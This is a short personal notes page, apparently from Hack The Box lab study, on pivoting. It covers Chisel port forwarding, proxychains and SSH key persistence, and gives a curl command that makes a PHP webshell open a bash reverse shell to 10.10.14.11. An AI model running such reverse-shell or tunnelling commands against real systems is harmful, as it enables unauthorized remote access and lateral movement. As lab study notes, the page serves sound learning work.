---
title: "Pivoting"
date: 2024-06-19
draft: false
---

Ref [[HTB - SolarLab]] 

---
# Pivoting without SSH with Chisel
https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html
----
FORWARDING A PORT WITH CHISEL
![](/img/Pasted image 20240524225200.png)
above on attacker box obviously

```bash
/chisel.exe client 10.10.14.4:8001 R:9090:127.0.0.1:9090
```
WHERE `9090` is the port you want to forward from the box

![](/img/Pasted image 20240524225341.png)
![](/img/Pasted image 20240524225400.png)

Now go to localhost:forwarded-port on your kali machine. congratulations idiot

---

[[HTB - Pandora#PORT FORWARDING]]
ssh port forward


---
# PROXYCHAINS 
![](/img/Pasted image 20240617225854.png)
`vim /etc/proxychains.conf`
![](/img/Pasted image 20240617225917.png)
![](/img/Pasted image 20240617225950.png)
running a poc: 

![](/img/Pasted image 20240617230029.png)
rats!
(pre-pend `proxychains4` to the same command): 

![](/img/Pasted image 20240617230101.png)


----
# From php webshell curl to send bash session back to yourself

```bash
curl 'http://localhost:80/pandora_console/images/0xdf.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.11/443+0>%261"'
```
----
# Dropping your SSH public key into authorized_keys
run ssh-keygen if you don't already have a public key pair 

![](/img/Pasted image 20240618200733.png)
![](/img/Pasted image 20240618200836.png)
![](/img/Pasted image 20240618200934.png)

